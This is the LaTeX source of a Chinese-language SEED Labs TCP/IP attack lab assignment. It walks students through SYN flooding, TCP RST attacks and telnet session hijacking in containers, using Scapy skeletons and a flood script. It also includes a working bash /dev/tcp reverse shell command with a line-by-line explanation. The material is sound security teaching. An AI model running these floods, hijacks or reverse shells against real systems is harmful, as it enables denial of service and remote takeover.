```

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  Copyright by Wenliang Du.                                       %%
%%  This work is licensed under the Creative Commons                %%
%%  Attribution-NonCommercial-ShareAlike 4.0 International License. %%
%%  To view a copy of this license, visit                           %%
%%  http://creativecommons.org/licenses/by-nc-sa/4.0/.              %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


\newcommand{\commonfolder}{../../common-files}

\input{\commonfolder/header}
\input{\commonfolder/copyright}


\newcommand{\telnet} {\texttt{telnet}\xspace}
\newcommand{\tcpFigs}{./Figs}

\lhead{\bfseries SEED Labs -- TCP/IP Attack Lab}

\begin{document}

\newcounter{task}
\setcounter{task}{1}
\newcommand{\mytask} {\bf {\noindent \arabic{task}} \addtocounter{task}{1} \,}



\begin{center}
{\LARGE TCP/IP Attack Lab}
\end{center}

\seedlabcopyright{2018 - 2020}

% *******************************************
% SECTION
% ******************************************* 
\section{Overview}


本实验的目标是让学生获得一手的漏洞体验，以及对这些漏洞发起攻击的第一手经验。明智的人从错误中吸取教训。在网络安全教育中，我们研究导致软件漏洞的错误。通过研究过去的错误，不仅可以帮助学生了解为什么系统会存在漏洞、看似无害的错误为何会导致灾难性后果，还可以了解到为什么需要多种安全机制。更重要的是，它还帮助学生了解常见漏洞模式，以便他们在未来避免犯类似的错误。此外，使用漏洞作为案例研究，学生们可以学习安全设计、安全编程和安全性测试的原则。

TCP/IP 协议中的漏洞代表了一种特别类型的协议设计和实现的漏洞；它们提供了关于为什么应该从一开始就进行安全设计而不是事后添加的安全教训。另外，通过研究这些漏洞，学生还可以理解网络安全性面临的挑战以及为何需要许多网络安全措施。
在本实验中，学生们将对 TCP 发起几次攻击。本实验涵盖以下主题：

\begin{itemize}[noitemsep]
    \item TCP 协议
    \item TCP SYN 洪水攻击和 SYN 饼干 
    \item TCP 重置攻击
    \item TCP 会话劫持攻击
    \item 反向 Shell
    \item 特殊类型的 TCP 攻击，Mitnick 攻击将在单独的实验中讨论。
\end{itemize}


\paragraph{参考资料和视频。}
有关 TCP 攻击的详细内容可以在以下资料中找到：

\begin{itemize}
    \item 《SEED 教材》第16章
    \item 《SEED 讲义》第6节
\end{itemize}


\paragraph{实验环境。} \seedenvironmentC


% *******************************************
% SECTION
% ******************************************* 
\section{实验环境}

本实验至少需要三台机器。我们将使用容器来设置实验环境。图~\ref{tcp:fig:labsetup}展示了实验环境的搭建方式。我们将使用攻击者容器发起攻击，而其他三个容器作为受害机和用户机器。
我们假设这些机器都在同一个局域网（LAN）上运行。学生也可以使用三台虚拟机来完成此实验，但使用容器将更方便。

\begin{figure}[htb]
    \begin{center}
        \includegraphics[width=0.8\textwidth]{\commonfolder/Figs/OneLan.pdf}
    \end{center}
    \caption{实验环境搭建}
    \label{tcp:fig:labsetup}
\end{figure}


%\begin{lstlisting}[backgroundcolor=]
%  +------------+      +------------+  +------------+  +------------+
%  |  攻击者     |      |   受害机   |  | 用户1       |  | 用户2       |
%  |  10.9.0.1  |      |  10.9.0.5  |  |  10.9.0.6  |  |  10.9.0.7  |
%  +----+-------+      +------+-----+  +------+-----+  +------+-----+
%       |                     | eth0          | eth0          | eth0
%       |                     |               |               |
%-------+---------------------+---------------+---------------+-------
%           网络 10.9.0.0/24
%\end{lstlisting}
 

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{容器设置和命令}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/container/setup}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

 
% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{攻击者容器说明}

在本实验中，我们可以使用虚拟机或攻击者容器作为攻击机器。如果你查看 Docker Compose 文件，你会发现攻击者的容器配置不同于其他容器。

\begin{itemize}
    \item \textit{共享文件夹}：当我们从攻击者容器发起攻击时，需要将攻击代码放在攻击者容器内部。
    %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
    \input{\commonfolder/container/volumes}
    %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

    \item \textit{主机模式}：
    %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
    \input{\commonfolder/container/host_mode}
    %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\end{itemize}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%\input{\commonfolder/container_interface}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{seed 账户} 

在本实验中，我们需要从一个容器通过 telnet 连接到另一个容器。我们已经在所有容器内部创建了一个名为 \texttt{seed} 的账户。
其密码是 \texttt{dees}。你可以使用该账号进行 telnet 登录。



% *******************************************
% SECTION
% *******************************************
\section{任务1：SYN 洪水攻击}


\begin{figure}[htb]
    \begin{center}
        \includegraphics[width=0.9\textwidth]{\tcpFigs/TCP_SYN_Flooding.pdf}
    \end{center}
    \caption{SYN 洪水攻击}
    \label{tcp:fig:synflooding}
\end{figure}
 


SYN洪水攻击是一种拒绝服务（DoS）攻击，在这种攻击中，攻击者向受害者的 TCP 端口发送大量 SYN 请求，但攻击者没有意图完成三步握手过程。攻击者可能使用伪造的 IP 地址或不继续该过程。
通过这种方式，攻击者可以淹没受害者用于半开放连接的队列，即已经完成了 SYN 和 SYN-ACK 但尚未收到最终 ACK 的连接。当这个队列满载时，受害者将无法接受任何新的连接。图~\ref{tcp:fig:synflooding}说明了这种攻击。

队列大小具有系统范围的设置。在 Ubuntu 操作系统中，可以使用以下命令来检查该设置：操作系统根据系统的内存量来设置这个值：机器内存越大，这个值就越大。
```shell
# sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 128
```

我们可以使用 \texttt{"netstat -nat"} 命令检查队列的使用情况，即与监听端口相关的半开放连接数量。这样的连接状态为 \texttt{SYN-RECV}。如果三步握手完成，这些连接的状态将变为 {\tt ESTABLISHED}。

\paragraph{SYN Cookie 防御措施:}
默认情况下，Ubuntu 的 SYN 洪水防御机制已开启。该机制被称为 SYN Cookie。如果机器检测到正在遭受 SYN 洪水攻击，则会启用此机制。在我们的受害服务器容器中，我们已经将其关闭（参见 \texttt{docker-compose.yml} 文件中的 \texttt{sysctls} 入口）。我们可以使用以下 \texttt{sysctl} 命令来开启和关闭 SYN Cookie：
```shell
# sysctl -a | grep syncookies     (显示 SYN Cookie 标志)
# sysctl -w net.ipv4.tcp_syncookies=0 (关闭 SYN Cookie)
# sysctl -w net.ipv4.tcp_syncookies=1 (启用 SYN Cookie)
```

要在容器内部使用 \texttt{sysctl} 更改系统变量，需要将容器配置为具有 \texttt{"privileged: true"} 条目（我们的受害服务器就是这样设置的）。如果没有这个设置，运行上述命令时会看到以下错误信息。容器没有权限进行更改。
```shell
# sysctl -w net.ipv4.tcp_syncookies=1
sysctl: setting key "net.ipv4.tcp_syncookies": Read-only file system
```

为了能够使用 \texttt{sysctl} 改变容器内部的系统变量，需要将容器配置为具有 \texttt{"privileged: true"} 条目（即我们的受害服务器就是这样设置的）。如果没有这个设置，运行上述命令时会看到以下错误信息。容器没有权限进行更改。

\begin{lstlisting}
# sysctl -w net.ipv4.tcp_syncookies=1
sysctl: setting key "net.ipv4.tcp_syncookies": Read-only file system
\end{lstlisting}


% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{任务1.1：使用 Python 发起攻击}

我们提供了一个名为 \texttt{synflood.py} 的 Python 程序，但我们故意在代码中省略了一些关键数据。此代码发送带有随机生成的源 IP 地址、源端口和序列号的伪造 TCP SYN 数据包。
学生们应完成该代码，然后使用它来发起对目标机器的攻击：

\begin{lstlisting}
#!/bin/env python3
  
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

ip  = IP(dst="*.*.*.*")
tcp = TCP(dport=**, flags='S')
pkt = ip/tcp

while True:
    pkt[IP].src    = str(IPv4Address(getrandbits(32)))  # 源 iP
    pkt[TCP].sport = getrandbits(16)     # 源端口
    pkt[TCP].seq   = getrandbits(32)     # 序列号
    send(pkt, verbose = 0)
\end{lstlisting}

让攻击持续至少一分钟，然后尝试通过 telnet 连接到受害机器，并查看你是否可以成功。很可能是你的攻击失败了。多个问题可能导致攻击失败。这些将在下面列出，并附带解决问题的建议。

\begin{itemize}
    \item \textbf{TCP 缓存问题：} 请参阅注释 A。
    
    \item \textbf{VirtualBox 问题：} 如果你从一台虚拟机对另一台虚拟机发起攻击，而不是使用我们的容器设置，请参阅注释 B。如果使用容器设置进行攻击，则不会出现此问题。

    \item \textbf{TCP 重传问题:}
        发送 SYN+ACK 数据包后，受害机器会等待 ACK 数据包的返回。如果没有及时收到它，TCP 将重新发送 SYN+ACK 数据包。其重发次数取决于以下内核参数（默认值为5）：
        
\begin{lstlisting}
# sysctl net.ipv4.tcp_synack_retries
net.ipv4.tcp_synack_retries = 5
\end{lstlisting}

      在这五次重传之后，TCP 将从半开放连接队列中移除对应的项目。每次当一个项目被移除时，都会产生一个新的空位。你的攻击数据包和合法的 telnet 连接请求数据包将争夺这个机会。
      我们的 Python 程序可能不够快，从而输给合法的 telnet 数据包。为了赢得这场比赛，我们可以并行运行多个攻击程序实例。请尝试这种方法，并看看成功率是否可以提高。你应该运行多少个实例才能实现合理的成功率？

    \item \textbf{队列大小:} 
        半开放连接在队列中能存储的数量会直接影响攻击的成功率。
        可以使用以下命令调整队列的大小：
        
\begin{lstlisting}
# sysctl -w net.ipv4.tcp_max_syn_backlog=80
\end{lstlisting}

      在攻击进行时，可以在受害容器上运行一个命令来查看半开放连接队列中的项目数量。需要注意的是，队列中四分之一的空间是为“证明过的目的地”保留的（见注释 A），因此如果我们将大小设置为 80，则实际容量约为 60。

\begin{lstlisting}
$ netstat -tna | grep SYN_RECV | wc -l
$ ss -n state syn-recv sport = :23 | wc -l
\end{lstlisting}

请减少半开放连接队列的大小，并查看你的成功率是否有所提高。
\end{itemize}


\paragraph{注释 A：内核缓解机制。}在 Ubuntu 20.04 中，如果机器 X 在 SYN 洪水攻击发起前从未与受害机建立过 TCP 连接，则当发起 SYN 洪水攻击时，机器 X 将无法通过 telnet 连接到受害机。但是，在发起攻击之前，如果机器 X 已经对受害机进行了一次或多次 telnet（或TCP）连接，那么它似乎被 “免疫” 于 SYN 洪水攻击，并且在攻击期间可以成功地telnet到受害机。
看起来受害者机器会记住过去的成功的连接，并在此后与“返回”的客户端建立连接时使用这些记忆。此行为不存在于 Ubuntu 16.04 和更早版本中。

这是因为内核的缓解措施：当 SYN Cookie 被禁用时，TCP 将为“证明过的目的地”保留四分之一的后备队列。从 \texttt{10.9.0.6} 到服务器 \texttt{10.9.0.5} 建立 TCP 连接后，我们可以看到 IP 地址 \texttt{10.9.0.6} 被服务记住（缓存），所以在这些连接来临时会使用保留的槽位，并因此不会受到 SYN 洪水攻击的影响。
要取消该缓解方法的效果，可以在服务器上运行 \texttt{"ip tcp_metrics flush"} 命令。

\begin{lstlisting}
# ip tcp_metrics show
10.9.0.6 age 140.552sec cwnd 10 rtt 79us rttvar 40us source 10.9.0.5

# ip tcp_metrics flush
\end{lstlisting}

\paragraph{注释 B：RST 数据包。}
如果你使用两台虚拟机进行此任务，即从一台虚拟机发起攻击针对另一台虚拟机（而非攻击容器），在 Wireshark 中，你会发现许多 RST 数据包（重置）。最初我们以为这些数据包是由 SYN+ACK 数据包的接收者生成的，但后来发现它们是由我们的设置中的 NAT 服务器生成的。

任何从实验室中 VM 发出的数据都会通过 VirtualBox 提供的 NAT 服务器进行转发。对于 TCP 而言，NAT 根据 SYN 数据包创建地址转换条目。
在我们的攻击中，由攻击者生成的 SYN 数据包没有经过 NAT（攻击者和受害机都位于 NAT 后面），因此没有创建任何 NAT 条目。当受害者向随机生成的源 IP 发送 SYN+ACK 数据包时，该数据包会通过 NAT 转发出去，但由于不存在此 TCP 连接之前的 NAT 条目，NAT 不知道如何处理它，于是发送了一个TCP RST 数据包给受害者。

RST 数据包会导致受害机从半开放连接队列中移除数据。因此，在尝试填满这个队列时，VirtualBox 帮助受害机从队列中删除我们的记录。
这就变成了我们代码与 VirtualBox 之间的竞争。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{任务1.2：使用 C 发起攻击}

除了 TCP 缓存问题外，如果能够快速发送伪造的 SYN 数据包，则所有在任务1.1 中提到的问题都可以解决。我们可以使用C来实现这一点。我们提供了名为 \texttt{synflood.c} 的 C 程序作为实验设置的一部分。请在虚拟机上编译该程序，然后对其目标机器发起攻击。

\begin{lstlisting}
// 在主机虚拟机上编译代码
$ gcc -o synflood synflood.c

// 对于 Apple Silicon 设备：使用静态绑定
$ gcc -static -o synflood synflood.c

// 从攻击者容器中发起攻击
# synflood 10.9.0.5 23
\end{lstlisting}

在发起攻击之前，请将队列大小恢复到其原始值。请将结果与使用 Python 程序的结果进行比较，并解释其中的原因。

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{任务1.3：启用 SYN Cookie 防御措施}

请启用 SYN cookie 机制，再次运行你的攻击并比较结果。


% *******************************************
% SECTION
% *******************************************
\section {任务2：针对 \texttt{telnet} 连接的 TCP RST 攻击}

TCP RST 攻击可以终止两个受害者之间已建立的 TCP 连接。例如，如果用户 A 和 B 之间存在一个已建立的 \texttt{telnet} 连接（TCP），攻击者可以伪造从 A 到 B 的 RST 数据包，从而破坏现有的连接。
为了成功实施此攻击，攻击者需要正确构造 TCP RST 数据包。

在本任务中，你需要使用 VM 发起一个 TCP RST 攻击来破坏用户 A 和 B 之间的现有 \texttt{telnet} 连接，其中A和B都是容器。为简化实验环境，
我们假设攻击者和受害者处于同一局域网内，即攻击者可以观察 A 和 B 之间 的TCP 流量。

\paragraph{手动发起攻击。}
请使用 Scapy 来执行 TCP RST 攻击。以下提供了一个示例代码框架，请将每个 \texttt{@@@@} 替换为实际值（你可以通过 Wireshark 获取这些值）：

\begin{lstlisting}
#!/usr/bin/env python3
from scapy.all import *

ip  = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=@@@@, dport=@@@@, flags="R", seq=@@@@)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)
\end{lstlisting}

\paragraph{可选：自动发起攻击。} 学生可以编写一个程序来使用嗅探和伪造技术自动执行攻击。
与手动方法不同，我们从嗅探的数据包中获取所有参数，因此整个攻击是自动化的。
请确保当你使用 Scapy 的 \texttt{sniff} 函数时，不要忘记设置 \texttt{iface} 参数。

 
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\begin{comment}
% 由于该任务不再工作，我们将其注释掉了。
% 看起来视频流媒体客户端在连接断开后会重新连接到服务器。我们还没有找到解决方案。
%
% 我的未来计划：
%   我想使用容器来托管我们的流媒体服务，
%   这样就可以对服务器发起 RST 攻击了。
%   

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection {任务3：针对视频流媒体应用程序的 TCP RST 攻击}

让我们通过在广泛使用的应用程序上进行实验来使 TCP RST 攻击更有趣一些。我们在本任务中选择了视频流媒体应用。

对于这个任务，你可以选择一个你熟悉的视频流媒体网站（我们不会指定具体的网站）。大多数视频分享网站都会与客户端建立TCP连接以流式传输视频内容。
攻击者的目的是破坏受害者和视频服务器之间建立的TCP会话。为简化实验环境，假设攻击者和受害者位于同一局域网内。以下简要描述了用户（受害者）与某个视频流媒体网站之间的常见交互：

\begin{itemize}
    \item 用户在视频流媒体网站上浏览视频内容，并选择一个用于流式传输的视频。
    \item 通常，视频内容是由一台不同的机器托管的，在这台机器上存储着所有的视频内容。用户选择好视频后，会在其客户端和内容服务器之间建立一个TCP会话以进行视频流式传输。
    用户之后可以观看他/她所选的视频。
\end{itemize}

你的任务是通过破坏受害者与内容服务器之间的TCP连接来扰乱视频流媒体服务。你可以让用户从另一台（虚拟机）或同一台（虚拟机）发起浏览视频流媒体网站的操作。请注意，为了避免责任问题，请确保任何攻击数据包都应针对运行你自己的机器的受害者（客户端），而不是不属于你的内容服务器机器。

\end{comment}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

            


% *******************************************
% SECTION
% *******************************************
\section{任务3：TCP 会话劫持}


\begin{figure}[htb]
    \begin{center}
        \includegraphics[width=0.8\textwidth]{\tcpFigs/TCP_Session_Hijacking.pdf}
    \end{center}
    \caption{TCP 会话劫持攻击}
    \label{tcp:fig:hijacking}
\end{figure}
 
   
本任务的目标是通过注入恶意内容来劫持两个受害者之间已存在的 TCP 会话（会话）。如果这个会话是一个 \texttt{telnet} 会话，那么攻击者可以向此会话中注入恶意命令（如删除一个重要的文件），导致受害者执行这些恶意命令。
图~\ref{tcp:fig:hijacking}展示了这种攻击是如何进行的。在本任务中，你需要展示如何劫持两个计算机之间的 \texttt{telnet} 会话。你的目标是让 \texttt{telnet} 服务器从你那里运行一个恶意命令。为了简化任务，我们假设攻击者和受害者位于同一局域网内。

\paragraph{手动发起攻击。}
请使用 Scapy 来执行 TCP 会话劫持攻击。
以下提供了一个示例代码框架，请将每个 \texttt{@@@@} 替换为实际值；你可以通过 Wireshark 确定你应该在每个字段中放入的值。

\begin{lstlisting}
#!/usr/bin/env python3
from scapy.all import *

ip  = IP(src="@@@@", dst="@@@@")
tcp = TCP(sport=@@@@, dport=@@@@, flags="A", seq=@@@@, ack=@@@@)
data = "@@@@"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
\end{lstlisting}

\paragraph{可选：自动发起攻击。} 学生可以编写一个程序来使用嗅探和伪造技术自动执行攻击。
与手动方法不同，我们从嗅探的数据包中获取所有参数，因此整个攻击是自动化的。
请确保当你
使用 Scapy 的 \texttt{sniff} 函数时，不要忘记设置 \texttt{iface} 参数。





% *******************************************
% SECTION
% *******************************************
\section{任务4：通过 TCP 会话劫持创建反向 Shell}

当攻击者能够通过 TCP 会话劫持在受害者的机器上注入命令时，他们不仅感兴趣于在一个简单的命令上运行一个操作；他们更感兴趣的是能够在受害者机器上连续运行多个命令。显然，仅通过TCP会话劫持来运行这些命令是不方便的。攻击者希望使用这次攻击来建立后门，从而方便地进行进一步的破坏。

一种常见的后门设置方式是从受害者的机器启动反向 Shell 来为攻击者提供访问受害机的 shell 会话。
反向 Shell 是一个在远程机器上运行的 shell 进程，它连接回攻击者的机器。这给攻击者提供了一种方便的方法，在其机器被破坏的情况下可以访问远程机器。

接下来我们将展示如何通过直接在受害者机器（即服务器机器）上执行命令来设置一个反向 Shell。在 TCP 会话劫持攻击中，攻击者无法直接在受害者的机器上执行命令，因此他们的任务是通过会话劫持攻击运行一个反向 Shell 命令。
在此任务中，学生需要展示他们能够实现这一目标。

要在远程机上启动 \texttt{bash} shell 并将其连接回攻击者的机器，攻击者需要一个在指定端口上等待某种连接的进程。在这个例子中，我们将使用 \texttt{netcat}（简写为 \texttt{nc}）。此程序允许我们指定一个端口号并在该端口上监听连接。
以下演示展示了两个窗口，每个窗口来自不同的机器。顶部的窗口是攻击机 \texttt{10.9.0.1}，
它运行着 \texttt{netcat}（简写为 \texttt{nc}），并侦听端口 \texttt{9090}。
底部的窗口是受害者机 \texttt{10.9.0.5}，我们在其中输入了反向 Shell 命令。一旦反向 Shell 被执行，顶部的窗口会显示我们已获得了 shell。
这是一次反向 Shell 进程，运行在 \texttt{10.9.0.5} 上。

\begin{minipage}{\linewidth}
\begin{lstlisting}[backgroundcolor=]
           +---------------------------------------------------+ 
           | (*@\textbf{在 10.9.0.1 (攻击者)}@*)                             |
           |                                                   | 
           | $ nc -lnv 9090                                    |  
           | Listening on 0.0.0.0 9090                         |  
           | Connection received on 10.9.0.5 49382             |  
           | $   <--+ (*@\textbf{这个 shell 运行在 10.9.0.5 上}@*)              | 
           |                                                   |  
           +---------------------------------------------------+  
          
           +---------------------------------------------------+  
           | (*@\textbf{在 10.9.0.5 (受害者)}@*)                              |
           |                                                   | 
           |$ /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1  | 
           |                                                   | 
           +---------------------------------------------------+
\end{lstlisting}
\end{minipage}

我们简要描述了反向 Shell 命令如下。更详细的解释可以在 SEED 教材中找到。

\begin{itemize}
    \item \texttt{"/bin/bash -i"}：\texttt{i} 表示交互式，意味着 shell 必须是交互式的（必须提供一个命令提示符）。
    
    \item \texttt{"> /dev/tcp/10.9.0.1/9090"}：这导致 shell 的输出（\texttt{stdout}）被重定向到与 \texttt{10.9.0.1} 端口 9090 上的 TCP 连接相关联。
      输出 \texttt{stdout} 由文件描述符编号为 1 的表示。

    \item \texttt{"0<\&1"}：文件描述符 0 表示标准输入（\texttt{stdin}）。这导致 shell 的 \texttt{stdin} 被从 TCP 连接处获取。
    
    \item \texttt{"2>\&1"}：文件描述符 2 表示标准错误输出 (\texttt{stderr})。这将导致错误输出被重定向到同一个 TCP 连接上。
\end{itemize}

总之，\texttt{"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<\&1 2>\&1"} 命令启动了一个 \texttt{bash} shell，其输入来自一个 TCP 连接，并且其标准和错误输出被重定向到同一个 TCP 连接上。

在上面的演示中，当我们在 \texttt{10.9.0.5} 上执行了 \texttt{bash} 命令时，它连接到了攻击者机器上 \texttt{netcat} 进程启动的位置。这通过 \texttt{netcat} 显示的“Connection received on 10.9.0.5”信息得到了确认。

上面的描述展示了如果你能够访问目标机（即我们设置中的 \texttt{telnet} 服务器），如何建立一个反向 Shell，但在这个任务中你没有这样的权限。你的任务是通过劫持用户与目标服务器之间现有的 \texttt{telnet} 会话发起 TCP 会话劫持攻击，并注入恶意命令，从而在目标服务器上获得一个反向 Shell。

% *******************************************
% SECTION
% ******************************************* 
\section{提交}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/submission}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

% *******************************************
% SECTION
% ******************************************* 
\section*{致谢}

我要感谢 CSender（GitHub ID）、Eric Dong 和 Chao Gong，他们为改进 SYN 洪水攻击任务提出了宝贵的建议。

\end{document}
```